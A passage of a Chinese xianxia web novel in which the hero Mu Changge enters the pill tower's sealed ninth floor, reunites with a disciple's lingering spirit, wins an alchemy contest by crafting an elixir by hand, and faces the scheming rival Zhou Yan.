慕长歌抽了抽嘴角。 这系统谁想要? 季飞鹰回到正院,就看到柳如烟手里把玩着一枚玉简,且嘴角噙着一抹意味深长的笑。 他长叹一声,垂头丧气地走了过去。 “你输了。” 柳如烟轻启红唇,眼中闪烁着胜利的光芒。 季飞鹰认命地点头,说好给夫人洗一个月内衣,他就不会食言。 “夫人,你说这小子怎么想的?” 他摊着手,一脸不解,“咱女儿都那样了,他居然只是在为了救人而救人?” “这位慕公子,可不是寻常人。” 柳如烟轻笑一声,玉指轻点丈夫额头,“他明知我们在设局,还是配合着表演,这说明了什么?” “他傻?” 季飞鹰挠头。 “笨!” 柳如烟白了他一眼,“这恰好说明他对影儿有意,只是人家讲究个水到渠成,不像有些人,当年在丹房里就....” “娘,丹房里什么事啊?” 季清晚恰好路过,好奇地问道。 柳如烟红唇微翘,“你的孕育日。” 轰隆! 惊雷响彻。 季清晚踉跄着后退,“我居然..是枚丹药?” 第119章 丹塔九层千年秘,守塔老人突跪拜 柳如烟有些懵。 她的本意是教导自己这小女儿,早日通晓人事,万万没想到,这简直就是顶级理解。 看这丫头一脸震惊,还真以为自己是丹药成精了。 柳如烟懒得解释,剜了一眼季飞鹰,裙摆甩出一道优美弧线,就走了。 还好大女儿随她,身上没有某位城主那股憨劲,不然这城主府怕是要完了。 与此同时,天风城最繁华的街道上。 季清影举着一串晶莹剔透的糖葫芦,伸着小手往慕长歌嘴边送。 他刚要接过,却见季清影哎呀一声,整个人向他栽去。 糖葫芦不偏不倚地,戳在了他脸上。 “啊,对不起!” 季清影掏出手帕,“我帮公子擦擦。” 她小手在慕长歌脸上一阵擦拭,曼妙的身躯,几乎贴在了他身上。 路人纷纷侧目。 “这不是季大小姐吗?” “天啊,她居然心有所属了,不是说谁赢了炼丹大会,谁才能成为城主府的乘龙快婿么?” “那男的是谁?好福气啊!不会长得好看,被提前内定了吧?” 慕长歌再度无语。 这丫头绝对是故意的,他都被当成他人眼里靠脸吃饭的小白脸了。 也怪不得旁人,这番小情侣般的作态,换谁不这样想? “季姑娘,你糖葫芦戳我鼻孔里了。” 季清影这才发现,竹签不知何时插进了慕长歌的鼻子。 她惊呼一声,慌忙后退,不小心踩到了裙摆,又往后倒去。 慕长歌再度揽住她的腰肢,他是想让这丫头摔一下的,可到底是在大街上,未免不雅。 四目相对,季清影俏脸通红,“公子又救了我一次呢。” “唉!” 他没好气地道,“你这摔倒的频率,比我的头还要秃然。” “人家从小平衡感就不好嘛~” 季清影委屈巴巴地撅起嘴,眼中带着抹狡黠。 果然,他不忍心让自己出丑,这在其中人眼里看来,更是她选定的情郎无疑了。 就在两人‘深情对视’之际,街道尽头传来了躁动。 “让开!都让开!” 一队身着黑色锦袍的修士,粗暴地推开路人。 为首的年轻男子面容阴鸷,腰间挂着一块刻着合欢二字的玉牌,身后跟着十几个狗腿子,个个趾高气扬。 “是周家大少爷周严!” 有路人惊呼。 “他不是拜入合欢宗了吗?怎么回来了?” “害,那还用说,肯定是冲着人家季家大小姐来的!” 周严眸光扫视,停在季清影身上,眼中闪过一丝贪婪。 当他看到季清影几乎贴到慕长歌怀里时,双目陡然间喷火。 “混账!给本少拿开你的脏手!” 周严怒目而视,斜撇着慕长歌,“什么东西,也敢染指本少看上的女....” 啪! 话未说完。 周严迎来一记响亮的耳光。 他像个陀螺,在空中转了三百六十度,砸在路边一个卖臭豆腐的摊位上。 “少爷!” 护卫们惊呼着冲过去。 周严气得脸色铁青,一把推开搀扶他的人,“给我上!废了这小子!” 十几人嗷嗷叫着冲上前。 一连串的闷响过后,他们整整齐齐地叠在了周严身上。 最下面屁股对着周严那个,不小心放了个屁。 呕! 周严被熏得直翻白眼,“滚开!都给老子滚开!” 慕长歌把手里的擀面杖放回摊位,对着摊主歉意一笑。 “借用了一下,多谢。” 摊主目瞪口呆地接过擀面杖,发现上面多了几道玄奥的纹路。 这特么变成灵器了?! 高人! 绝对的高人! 难怪城主府家的大小姐,在大庭广众之下,与陌生男子如此亲近,这是钓到金龟婿了啊! 周严好不容易从人堆里爬出来,指着慕长歌怒吼。 “小贼!你知不知道爷是谁!我爹可是....” 啪! 又是一记耳光,周严再次飞了出去,这次落进了路边的泔水桶里。 慕长歌抽过季清影的手帕擦了擦手,“不好意思,手又滑了。” “公子即便手滑,也滑得那么潇洒恣意。” 他身旁的季清影掩嘴偷笑。 周严从泔水桶里探出头,气得浑身发抖,“你、你们给我等着!” 说完就带着一群臭气熏天的护卫,灰溜溜跑了。 慕长歌转头看向季清影,“这傻子是谁?” “周家大少爷呗,仗着家族与合欢宗有关系,整天耀武扬威的。” 她挽住慕长歌手臂,“现在有公子在,看他以后敢不敢骚扰我~” “季姑娘,你这样会让我树敌很多的。” “怕什么~” 她噙着盈盈笑意,俏皮地眨了眨眼,“反正你那么厉害。” “你指哪方面?” “哎呀,讨厌!” 她愈发抱紧了慕长歌,腻歪在他身上,“你的任何方面~” 不多时,两人来到了丹塔。 整座丹塔巍峨耸立,通体由青玉砌成,塔身刻满古老符文,隐约有灵力流转。 “公子,这就是我们天风城的立足之基,丹塔。” 季清影骄傲地介绍,“里面共九层,每层收藏着不同品阶的丹方和药材。” 她拉着慕长歌的手,轻车熟路地穿过守卫,进入塔内。 守卫们眼观鼻,鼻观心,假装没看见大小姐挽着个陌生男子。 塔内药香扑鼻,一层陈列着数百个药柜,不少丹师正在挑选药材。 “第一层是黄阶丹药区。” 季清影正要详细介绍,被一个苍老的声音打断。 一位佝偻着背的白发老者,从阴影处走出,混浊的眼睛,在看到慕长歌的瞬间猛地瞪大。 “这位是守塔的莫老。” 季清影介绍道,“莫老,这位是慕公子,昨日...” “像!太像了!” 莫老喃喃自语,就那么毫无征兆地跪在了慕长歌面前,“老奴守塔人莫离愁,参见少爷!” “老人家,你认错人了。” 不等季清影惊骇,慕长歌就将人扶起,“你我并不相识。” 何况他此番模样,是通过变身术而为,并非本来面貌。 莫老浑身颤抖,眼中泛起泪光,“不会错!不会错!请少爷随老奴上九层,一切就见分晓!” “莫老,九层不是禁地么?” 季清影一脸茫然,“莫说是我,就是我爹都不能进入。” 她闭关所在之地实为八层,那是因为第九层,已经几千年不曾有人进去过,不是不想,而是做不到。 哪怕这座塔本身,也没人能具体说出,在天风城中存在了多少年。 且那第九层,在外根本看不出存在的痕迹,只有走上第八层,才能察觉到那里有一处异样的空间。 是以,明里暗里这座塔都只有八层,季清影跟慕长歌介绍时不做隐瞒,到了第八层,他自会有所察觉。 “大小姐有所不知,九层一直在等这位公子。” 莫老擦了擦泪,伸手示意,做出请的动作,他都记不清自己守护这座塔多少年了。 只记得若非这座塔中的神灵,赐给他一颗丹药,以他只能修行到金丹三阶的资质,早就化作了尘埃。 虽说后来那神灵再无召见过他,也未赐下改造根骨的丹药,他也很知足了。 “那就劳烦老人家带路。” 三人沿着盘旋而上的阶梯一路前行,很快就到了第八层。 莫老掐了个法诀,眼前浮现出一道漩涡,其内散发出一股威压,让季清影和他感受到了莫大的压力。 “公子自行进去便可。” 季清影咬着银牙支撑。 在她的注视下,慕长歌毫无阻碍地进入到了第九层。 第120章 九重塔内现真灵,三万年前师徒情 “他真的进去了!” 季清影红唇微张,美眸中掩饰不住震惊。 传闻中只有得到塔中神灵认可之人,才能进入的第九层,竟然就这样向慕长歌敞开了大门。 她父亲身为城主,曾无数次尝试进入,却连那道漩涡都无法靠近,而她作为季家血脉,也只能在第八层闭关修炼。 莫老激动到浑身颤抖,浑浊的老泪,顺着皱纹纵横的脸颊滑落。 他的任务,终于完成了! 此刻,他清晰地感觉到,缠绕在神魂上的那道无形枷锁正在消散。 那是当年与塔中神灵立下的契约,以万年寿命为引,成为守塔人,等候那个注定归来之人。 “莫老,您不要紧吧?” 季清影担忧地扶住摇摇欲坠的莫老,虽然她不明白怎么回事,但慕长歌对他来说一定很重要。 “要紧!要紧!紧些好!” 莫老转而一咳,“我在胡说些什么呀....老朽终于自由了。” 听到这句,季清影似是想到了什么。 难怪从来不见这位老人家离开丹塔,先前的他想必受于某些限制,导致无法离开。 慕长歌的到来,为他换来了自由,只是这座塔,与慕长歌之间又存在怎样的联系? “大小姐,你可知这座塔的来历?” 莫老望向那道漩涡,眼中满是敬畏。 季清影摇头。 天风城建城不过五千年,而这座丹塔,仿佛亘古存在。 与此同时。 第九层内。 慕长歌站在空荡荡的塔室中央,四周墙壁上刻满古老的丹方。 正前方,一尊女子雕像静静矗立,栩栩如生。 “师尊,您来了。” 雕像突然开口,声音空灵缥缈。 慕长歌眉头微皱,“姑娘可是认错了人?” 天眼瞳开启之下,雕像内部有一团微弱的灵光。 灵光中,一位身着素白流仙裙的女子虚影若隐若现,她青丝如瀑,只用一根碧玉簪松松挽起。 几缕发丝垂在莹白的颈侧,衬得肌肤如雪。 她眉目如画,一双秋水般的眸子,含着三分清冷,七分温柔。 纤长的睫毛在眼下投下一片阴影,鼻梁高挺却不显凌厉,唇若点朱,不施粉黛仍自有一番出尘气质。 最引人的注目的是,她腰间系着一条淡青色丝绦,那是修仙界古籍记载中,丹道至尊特有的标志。 “轻舞?” 慕长歌不自觉地唤出这个名字,心头涌起一阵莫名的熟悉感。 女子虚影微微一颤,眼中泛起涟漪般的光晕,“三万年了,历经无数轮回,您还能记得我的名字,轻舞的等候值得了。” 落轻舞的虚影微微晃动,平静的声音里带着难以掩饰的悸动,“从始至终,我一直相信师尊会回来的,我等到了。” “我是谁?你又为何在此处?” 慕长歌凝视着眼前这个不染尘埃的女子,眉头轻蹙。 他环顾四周,视线扫过塔壁上那些连他都有些陌生的古老丹方,“若我没看错,这座塔不似凡尘之物。” “此塔名为九转轮回塔,是师尊您当年随手赐我的赏玩之物。” 落轻舞轻抬素手,指尖在空中划过一道流光,塔壁上的丹方似活了过来,化作无数金色文字,在空中流转。 “我只记得三万年前,属于我和师尊的那个世界,爆发了一场前所未有的浩劫。” 她的意识回到了过去,也带着些许痛色,“您为了阻止那场浩劫,散尽了修为,才将那方天地的威胁封禁。” “至于我为何会出现在这里?” 落轻舞的虚影一阵模糊,眉头紧蹙,似乎陷入了痛苦的回忆,她的指尖无意识地划过虚空,带起细碎的光点。 “我...记不太清了。” 她声音飘忽不定,“只记得那方威胁的最后一击...” 虚影剧烈晃动间,几幅破碎的画面闪过。 天穹崩塌,血色雷霆交织成网。 无数法宝在恐怖威压下接连爆裂。 一道白衣染血的身影挡在前方.... 落轻舞捂住额头,虚影几乎要消散,电光火石间,她终于抓住一丝记忆。 “我想起来了,在那方威胁的剧烈反扑下,我拼尽所有秘宝。” 她每说一个字,虚影就暗淡一分,“山河印碎了,九霄琴断了,最后靠着师尊赐予的这座塔,护送你们的神魂进入轮回。” “而我以自爆为代价,完成了您最后一步的封印,又以这座塔的庇佑,一缕残魂来到了下界。” “我们?” 慕长歌抓住了关键,问道,“还有谁?” “师尊见谅,多余的我记不起来了。” 落轻舞投去一笑,“但我记得,您走之前,说过自己曾留下后手,而那是您回归的关键。” 她的虚影开始化作点点星光。 慕长歌心头一震,强忍着内心的震惊与不可置信,伸手想要抓住那些消散的光点,“轻舞!” “师尊不必难过,能再见您一面,轻舞了无遗憾。” 星光中似乎蕴含着她释然的笑,“这些原本就属于师尊的东西,自当归还师尊。” 随着她声音消散,整个岩壁上的星光,全部流入慕长歌的识海,那是各种外界失传的上古丹方。 慕长歌无暇查看,“系统,可有办法救她!” “叮!宿主是否消耗79000气运值,为她再次凝聚残魂?” “是!” “叮!气运值消耗成功,残魂已凝聚!” 随着系统提示音落下,点点星光重新汇聚,落轻舞的虚影再次浮现,她低头看着自己重新凝实的身影,眼中闪过些许诧异。 “您果然是师尊。” 她发自内心地笑了。 在落轻舞眼中,只有师尊才拥有各种逆天手段。 慕长歌松了口气,紧跟着皱起眉头,“我该怎么救你?” “九天息壤凝聚肉身,三光神水重铸生命,再以仙气温养神魂。” 她含着浅笑看向慕长歌,“这些在下界无法完成,但师尊很快就能去到上界,届时再劳烦您带我一同前去。” 慕长歌明白了,又是一个飞升上界,才有可能偿还的因果。 他想了想,落轻舞以丹入道,留在丹城与她气机最为相符,也就没坚持此刻就带走她的想法。 似是看出他的担忧,落轻舞赤足轻点,踏着粉色花瓣飘至慕长歌身前,她抬起纤细的手,想要轻抚他的脸庞。 却在即将触碰时,手掌如幻影般穿了过去。 “师尊无需困扰。” 她收回手,眼中带着一丝落寞。 随即又展颜一笑,“这仙器虽已损毁,已不足天阶,但核心尚在,即便塔毁,亦可再生,弟子不会有性命之危。” 慕长歌点了点头,未在九层做过多逗留,落轻舞也只有回到雕像中,才能不流失残魂之力。 他回到八层时,窗外已是暮色四合,最后一缕夕阳透过窗棂,在青玉地面上投下斑驳的光影。 季清影立刻迎上前,裙摆带起一阵香风,“公子在里面见到了什么,为何待了这么久?” “一座雕像,以及些许传承。” 慕长歌噙着淡淡的微笑,“我还得知,你季家先祖,正是得到了一些传承,才会成为一方巨擘,并建立了这天风城。” “公子见到的,就是这座塔中的神灵。” 她美眸中异彩闪烁,忽然抬头,眉眼含羞,“既得传承,那公子可要参加明日的炼丹大会?” “我参不参加有区别吗?” 慕长歌失笑着看了眼一眼,转而潇洒迈步。 季清影俏脸绯红,望着他远去的背影,心跳如擂鼓。 这个男人,总是能轻易搅乱她的心绪。 第121章 月下父女密谋计,侍寝令出惊红颜 夜色如墨。 城主府后院的青石小径上洒满银辉。 季飞鹰负手而立,月光在他刚毅的面容上,投下浅浅的阴影。 “影儿,当真?” 他声音低沉,带着难以掩饰的震惊,“他进到了丹塔第九层?” “不仅进去了,还在里面待了三个时辰。” 季清影微微垂首,站在一株古梅树下,花瓣落在了她的肩头。 却是不想父亲猛地侧身,双手有力地捏住她的肩膀,恨铁不成钢地道,“为什么你没扶他进去!” 季清影微愣,反应过后退了两步,“公子年纪轻轻,才不用扶。” “爹这不是着急嘛!” 他用轻咳掩饰着尴尬,“我季家世代守塔数千年,除却先祖以外的历代城主,穷尽毕生之力都无法靠近,你可看清他是如何进去的?” “就是一点一点...穿过了通道,就进去喽...” 季清影眸光深邃,其中似有什么精光在流转,“整个过程,并未遇到任何阻力,看着蛮顺利的,嗯...比较丝滑。” 啪! 季飞鹰踉跄着退后两步,撞翻了石桌上的茶盏,瓷器碎裂的声音,在寂静的夜里格外刺耳。 他忽然想起什么,声音发颤,“莫老呢,那位守塔人呢?” “莫老哭了。” 季清影轻声说,“他说...他终于自由了。” “传说...竟然是真的!” 轰隆! 季飞鹰如遭雷击,整个僵在原地。 当年的季家先祖,在丹塔内仅仅得到不到五分之一的传承,就轻而易举的成就了丹圣,却并非这座塔真正要等之人。 而那真正的有缘人,会得到塔中神灵全部的传承,如今这传承就在慕长歌身上,他怎能不激动。 季飞鹰深吸一口气,强压下内心的震撼,他负手而立,月光勾勒出挺拔的身形,衣袍在夜风中飘动。 他转过身,目光灼灼,“影儿,为父命你,无论如何都要取得他的欢心!” 顿了顿,季飞鹰再次斩钉截铁地道,“哪怕今夜你就去侍寝,对,侍寝!” “我以为父亲要杀人灭口呢。” 季清影掩嘴娇笑,又难掩俏脸绯红之色。 她眨了眨美眸,“女儿这就去,不过父亲可要想好,他若成了您的女婿,将来的天风城,也只能他是城主。” 她如同一只蹁跹的蝴蝶般飘然离去。 季飞鹰望着女儿远去的背影,嘴角不自觉地扬起。 他抬头望向皎洁的明月,喃喃自语,“先祖在上,季家崛起的机会,终于来了!” 翌日。 晨光微熹,清幽阁外竹影婆娑。 吱呀! 季清影打开雕花木门,从慕长歌的房间里迈了出来,抬眼间看到了季飞鹰三步并作两步走了过来。 “父亲晨安。” 她脸颊浮起两朵红晕,盈盈一礼后,声音细弱蚊蝇,“女儿正要找你。” “那个...昨夜战果如何?” 他搓着手,目光在女儿和房门之间来回扫视。 “公子他并不在房间内。” 季清影咬了咬樱唇,指尖无意识地绞着衣带,不知慕长歌是不是故意在躲避她。 昨夜,她轻叩房门,却不见回应,犹豫片刻,终是推开了门。 只是房内空无一人,床榻整洁如新,她站在门外,失落了片刻,还是走进去等候。 这一等,就是一整夜。 “他人呢,去哪儿了,赶紧找啊!” 季飞鹰一脸急躁,慕长歌得了传承他不是特别介意,可若是就这么走了,自己女儿性命难保。 这是他无论如何都不能接受的。 “不用了,我在这呢。” 慕长歌的声音,从房顶上传来,他指尖轻点,散开了结界。 只见他手中拎着个酒壶,半躺在上面,神色间充斥着几分慵懒,又往嘴里灌了一口酒。 他看了眼略显错愕的季飞鹰,“抱歉,昨夜我见月色不错,就起了欣赏之心。” “啊,这....” 季飞鹰摊开手,一脸无奈,“贤婿啊,这成何体统啊?” 他简直要郁闷死,难道自己女儿的魅力,还比不上月色,这小子怎就如此难搞。 还是夫人说得对,碧霄宫走出的弟子,个个卓尔不凡,更何况有如此天资的年轻人,必然是宗门中的佼佼者。 他与柳如烟一致认为,这小子或许就是碧霄宫中秘而不宣的圣子。 “体统?” 慕长歌咧嘴一笑,“两个够不够?” 多少年了,除了师尊以外的人,没人敢拿他当做晚辈说话。 真要说起来,季飞鹰是他的晚辈,所以与季清影之间的事,搞得他也有些尴尬。 随着他指尖轻点,季飞鹰感到手中一沉。 噗嗤! 季清影看到父亲手中突然出现的两个水桶,忍不住笑了出来,这下子真的是提桶了。 “贤婿,你这...顽劣,顽劣了啊。” 季飞鹰无奈地将两个水桶,放回到院中的水井旁,心中暗自叹息,到底是少年心性。 再杰出的天之骄子,也无法摒除这天真的一面,这倒让他松了口气,至少这个年轻人表里如一。 毕竟,有这般心性之人,怎么可能会是坏人,更不可能是那种活了一大把年纪的人,做出的伪装。 想来在门派之中,守了许久的规矩,出来之后,就释放了一下。 他拍了拍衣袖,脸上重新挂起笑容,“炼丹大会马上就要开始了,贤婿啊,你准备一下,我们一同过去。” 季飞鹰眼眸流转,眼底闪烁着精光,补充了句,“正好看看这天风城内汇聚了多少英才,若有人能入眼,贤婿今后大可将之留下。” 他这句话可是相当于在暗示慕长歌,日后就是将城主之位交给他也无妨,前提是要参加这场大会。 慕长歌又岂会看不透他的算计,无非就是要在人前,让别人都见识一下他这位所谓的城主女婿。 “公子若不愿去,我便在此陪着公子。” 季清影展颜一笑,眼角眉梢扬起了温柔的涟漪,且纤长的睫毛,在晨光中投下细碎的阴影,好似眼中只有慕长歌一人。 慕长歌纵身从房顶翩然落下,衣袂翻飞间带起一阵清风。 他伸手拂去落在季清影肩头的一片竹叶,“没有季姑娘的盛会,必然是黯然失色的,那就一起前去。” “多谢公子。” 她双眸亮若星辰,脸颊泛着红晕,似那枝头绽放的桃花,轻抚鬓角碎发时,指尖又因欣喜而发颤。 慕长歌轻叹着气,“我只是不想招人恨,为了季姑娘这样的美人,那些人什么事做不出来?” “公子不就什么都没做?” 季清影自然而然地挽上慕长歌的胳膊,两人边走边说,全然无视了季飞鹰。 慕长歌任由她挽着,“我不一样。” “比如?” 她侧着小脑袋,眼中满是好奇。 “我喜欢躺平。” 慕长歌懒洋洋地说道,眼角余光却扫过身后两个暗中窥视的身影。 季清影掩嘴轻笑,“影儿懂了,日后...如公子所愿就是,影儿可为公子多学些门道。” 看着两人身影逐渐消失在视线,季飞鹰眨了眨眼。 不是。 就这么把他晾在这了? 还有,刚才他们两个都在说些什么,他怎么一句都没听懂? 啪! 一只小手拍上了他肩膀。 “爹,你被抛弃了?” 季清晚歪头露着笑,“把我许配给大哥哥就是,娘说了,我这傻劲儿,跟你一模一样,留着姐姐做城主,我给大哥哥暖床,多好?” “……” 第122章 徒手搓丹惊四座,九转栖凤显真章 天风城中央广场,九座鎏金丹鼎巍然矗立,鼎身雕刻着上古丹纹,流转着神秘的光华。 每座丹鼎周围环绕着三十六名身着丹袍之人,个个肃然而立。 广场四周,环形看台早已座无虚席,来自各方的炼丹师们,身着各色丹袍,胸前绣着代表品级的丹火纹章。 最引人注目的是东侧高台上那群紫袍老者,以陈长老为首的丹塔七位长老悉数到场。 铛! 随着一声清越的钟鸣,九道彩虹般的霞光,从丹塔顶端倾泻而下,在广场上空交织成一张璀璨的天网。 霞光中,无数丹药虚影若隐若现,散发沁人心脾的药香。 “快看!那是九转金丹虚影!” 一位白发丹师见到后胡须直颤,且在场参加比试的那些丹师,有谁被相应的霞光笼罩,谁就能得到相应的丹方。 并以此次得到的丹方,参加这次的大比,相应的,品级越高的丹药,只要炼制成功,越是意味着能获得最后的胜利。 慕长歌站在入场处,眼眸微动,这座阵法倒是有点意思。 他身旁的季清影抿嘴一笑,“这是先祖留下的九鼎问心阵,杜绝了身处阵中的丹师,投机取巧,弄虚作假。” 话音刚落。 城主季飞鹰踏着丹霞而来,身后跟着九名手托玉盘的侍女,每株玉盘上都放着一株流光溢彩的灵药。 “今日胜者,可任选三株!” 季飞鹰声如洪钟,“我宣布,本次炼丹大会,正式开始!” 霞光如雨,纷纷扬扬洒落,有人欢喜有人愁。 发愁的那些人,只得到了普通的丹方。 要想取胜就只能炼制出高品阶丹药,否则此次参与,什么都得不到,就只能获得个重在参与的称号。 相反,得到非比寻常丹方的那些人,即便输掉了比试,也不算空手而归,至少丹方是实际获得的好处。 很快,九鼎问心阵中数百位炼丹师各施手段。 刹那间,广场上流光溢彩,数百道丹火同时升腾,有人掌心喷吐火焰,化作灵蛇缠绕丹鼎。 有人祭出本命真火,凝成仙鹤展翅之形。 数个时辰后,随着最后一道丹气消散,炼丹比试落下了帷幕。 七位丹塔长老在众多灵丹中仔细查验,时而点头赞许,时而摇头叹息。 “经评定!” 陈长老声音洪亮,“周严所炼玄阳丹,品质最佳!” 广场上响起一片惊叹。 周严整了整衣冠,面带得色地走上前来,他炼制的玄阳丹通体赤红,表面浮现清晰丹纹,在阳光下煜煜生辉,品阶已有玄级。 “周师侄,按照规矩,你可以从九种珍稀灵草中任选其三。” 季飞鹰面露笑意,声音中又不乏威严。 周严却摆了摆手,嘴角勾起一抹笑。 “这些我都不要。” 他环视四周,声音陡然提高,“想来您也清楚,我并不是为这些而来,此次大比,我只为季清影季大小姐。” “还请世伯成全,将令千金许配给我。” 周严话音落下,周围一片窃窃私语。 经过昨日之事,谁人不知城主府家的大小姐,已然心有所属,周严还在那位慕公子手里吃了亏。 此时他提出这件事,岂不是在故意刁难季飞鹰。 周严对于周围的声音毫不在意,他依旧噙着笑意,“世伯莫不是忘了,夺得头筹之人,是有神秘大奖的,而这大奖正是季小姐。” “本城主何曾说过,这神秘大奖就是影儿?” 他嗤笑一声,“周严世侄,有些话说出口要谨慎,我的女儿岂是用来交易的?” “世伯这般出尔反尔,可是因为那个叫做慕长歌的小白脸?” 周严不慌不忙,从袖中取出一卷玉简,“这是城主府于丹塔前发布大比的文书,白纸黑字写着,头名可向城主府提一个要求。” “放肆!” 季飞鹰脸色阴沉如水。 “既是丹道比试,就该用丹道说话。” 周严眼里不见任何惧色,“不如让这位慕公子与我比试一场,关乎全城的比试,总不能由城主府一家说了算。” 他环视四周,煽动道,“是骡子是马,拉出来遛遛,我身后的周家可不是吃素的,小侄背后的合欢宗,也不会看着门中弟子被欺凌。” 周严似笑非笑,眼角余光却在似有若无,瞥向季飞鹰身后,那名侍女端着的那株灵草,九幽冥兰。 “你在威胁我?” 季飞鹰目光犀利如剑。 “小侄岂敢。” 他眼里并无任何敬意,反而笑道,“城主府此举意在结盟,我周家是这天风城除城主府之外的第一世家,我又是合欢宗的弟子。” 周严话锋一转,勾起讥笑,“我只是比较好奇,季家不与我结盟,倒是找了个不知名的散修,世伯莫非老糊涂了?” “我父亲是否糊涂,周公子不妨一试?” 季清影在众目睽睽之下,毫不避讳地挽着慕长歌的胳膊,莲步移来到季飞鹰面前。 她向着父亲盈盈一礼,而后看向慕长歌,美眸波光流转。 “公子,既是有人诋毁咱们城主府,清影烦请公子为我们做主。” 她在咱们二字加重了语气,引得周围一片哗然。 又见她纤纤玉指扯了扯慕长歌的衣袖,那娇嗔的模样,让在场不少修士看直了眼。 望着慕长歌无动于衷,周严发出冷笑,眸子里尽是不屑一顾,以及...瞳孔深处蕴藏着无边的杀意。 倒是季清影,似乎从慕长歌的眼睛中,看到了不一样的东西。 她眉眼含羞,垫起脚尖,附耳说道,“只要公子肯出手,影儿保证好好鲍答公子,影儿也对公子的躺平大道很有兴趣~” 呼~ 热浪的喷吐,差点让慕长歌鼻孔冒出了热气。 就拿这个考验干部? “周公子想怎么比?” 慕长歌转头看向周严,看不出悲喜。 周严轻哼,“只要你当场炼制出高于玄阶的丹药,就算你赢!” 全场哗然。 即便是丹塔长老,若要炼制地阶丹药,也需准备数日,还要数名长老合力,才有可能成功,更遑论当场炼制。 慕长歌懒得回应,在众人惊愕的目光中,随手取了几株药草,在掌心揉搓了起来。 “他疯了吗?徒手搓丹?” “这怎么可能!” 无论众人如何惊诧,声音很快止住,那是他们看到他的双手,泛起了淡淡的金光。 那些药材在慕长歌掌心飞速旋转,渐渐融为一体,更惊奇的是,空中竟自行浮现出丹纹,似蝴蝶般环绕他飞舞。 短短半刻钟,他摊开手掌,一枚通体晶莹的丹药,静静地躺在那里,表面九道丹纹,如活物流转,散发出令人心旷神怡的清香。 “这是地阶极品,九转栖凤丹?” 陈长老自认为见多识广,可从未亲眼见过这等丹药。 只是丹塔中有记载,一经服用,百毒不侵。 周严面如死灰,踉跄后退,“不可能,这一定是幻术!” 唳! 一声清越的凤鸣响彻云霄。 七彩凤凰的身影竟是从晶莹丹药中振翅而出,在空中划出绚丽的轨迹,所过之处,点点灵雨洒落,沾到的人顿时神清气爽。 “九转栖凤丹!真的是九转栖凤丹!” 一位白发苍苍的老丹师,激动到嘴巴发颤,“老朽有生之年,竟能亲眼见到这等神丹!” 七彩凤凰在空中盘旋九圈后,重新没入丹药。 然而这并不算完,众人又见自丹塔内飞出无数霞光,让他们的呼吸尽数屏住。 第123章 丹塔认主惊全城,樱唇轻点定终身 整座丹塔绽放出前所未有的璀璨光芒,伴随着那些霞光,在空中交织成一张遮天蔽日的大网。 无数古老丹方虚影从塔中飞出,如百鸟朝凤环绕着慕长歌旋转。 “这...这是丹塔认主?!” 陈长老老泪纵横,“老朽活了三百年,只在古籍上见过这等异象!” 广场上鸦雀无声,所有人屏住呼吸,看着那些代表丹道至高传承的霞光,不断地没入慕长歌体内。 更令人震撼的是,那座沉寂万年的丹塔开始了颤动,似乎是在向它的主人致敬。 咔嚓! 唯有周严面色铁青,拳头攥得咯咯作响。 漫天霞光渐渐散去,慕长歌如谪仙般,自半空缓步而下。 他衣袂飘飘,每一步踏下泛起涟漪,最终落在季清影面前。 “吃了它,可解你体内丹毒。” 九转栖凤丹悬浮而起。 季清影美眸中盈着水光,“公子这丹药,专程为我炼制的?” 她声音轻得几乎听不见,指尖渐渐攥住了衣袖。 原来他已然看出自己体内积攒了难以化解的丹毒,这件事就是父亲都不知道,可瞒不过他。 她张开红唇,丹药化作流光进入檀口。 刹那间,一道璀璨圣光在她体内迸发,将她托举到半空。 “嗯~” 季清影发出一声轻吟,周身毛孔中渗出丝丝黑气,那些积累多年的丹毒,如同冰雪般迅速消散。 唳! 七彩凤凰虚影再次显现。 在她头顶盘旋三圈后,发出一声清越长鸣,俯冲而下与她相融。 轰! 一股磅礴气息自她体内爆发,修为由刚突破的七阶,达到了八阶之境。 七彩霞光中,她睁开美目,裙摆随风飘扬,隐约露出纤细如玉的小腿,足踝处一抹雪白肌肤,在夕阳下泛着光泽。 脚尖轻点地面时,裙摆似是花瓣绽放,可又羞怯般迅速合拢。 “清影谢过公子~” 她在众目睽睽之下,樱唇如蜻蜓点水,在慕长歌那轻轻一碰,又快速退开。 那瞬间的触感,比药香还要醉人,亦是不知多少人,听到了自己心碎的声音。 “叮!恭喜宿主攻略气运之女季清影,攻略进度80%,获得气运值返还2000点!” 慕长歌却在心里叹了口气,他这天风城女婿的身份是逃不掉了。 这丫头就是故意的,别以为他看不到,她眼中流淌着狡黠之光。 回头就好好惩罚她! 先抓住暗中起到带头闹事的,口头警告。 更要深入的调查,查个水落石出,看他们还敢不敢再算计他! 随后,观礼台上各方势力纷纷起身道贺,声浪如潮。 “哈哈哈!天佑我天风城!” 季飞鹰声震九霄,他从座位上起身,压了压手掌,“诸位,今日借着炼丹大会,本城主宣布!” 他瞥向慕长歌,笑意收敛不住,“慕长歌慕公子,从今往后就是我们天风城,城主府的乘龙快婿!” 被当众宣布,季清影尽管羞涩,仍掩不住眼中的喜悦,她悄悄往慕长歌身边靠了靠。 道贺的声音不绝于耳,季飞鹰皆是含笑应答,眼眸中流露着掩饰不住的得意,总算搞定了这小子。 但凡他敢说个不字,单是这天风城中的一众修士,就能撕了他,此外,有诸多证据在手,他就是跑到碧霄宫,也能讨个公道。 季飞鹰嘴角越咧越大,要不说还是自己夫人计策高明。 谁都没注意到,周严嘴角勾起一抹诡异的弧度,眼中闪过不属于他的猩红光芒。 他藏在袖中的手指轻轻一挑,一缕几乎不可察觉的黑气,悄然引发了季飞鹰身后那株九幽冥兰的变异。 原本安静躺在侍女托盘中的灵草剧烈扭曲,暴涨了数倍,漆黑的藤蔓上布满倒刺,喷出浓稠的黑雾。 几根触手般的藤蔓,犹如闪电缠绕住猝不及防的季飞鹰,还有丹塔那几名长老,以及那位侍女,且那位侍女口中发出惊恐的喊叫。 这一幕,让在场所有人无不感到错愕,他们看到那株灵草,裂开一张血盆大口,发出刺耳的尖啸。 伴随着刺耳的声波,众人耳膜一阵炸裂,有些修为不足的甚至晕了过去,还有些人被震到双耳出血。 眼看着季飞鹰就要被那变异灵草,吞进布满尖锐锋齿的血盆大口里,季清影惊呼出声。 “父亲!” 铮! 一道血色剑光如惊雷乍现。 变异灵草被斩成无数碎片,血煞剑在空中划出完美弧度,黑气尽数泯灭。 剑光散去,季飞鹰抱着那名昏迷的侍女稳稳落地。 丹塔几位长老刚松一口气,陈长老瞳孔又猛地一缩。 “大小姐当心!” 他看到带着狞笑的周严,以极快的速度,探手抓向了季清影。 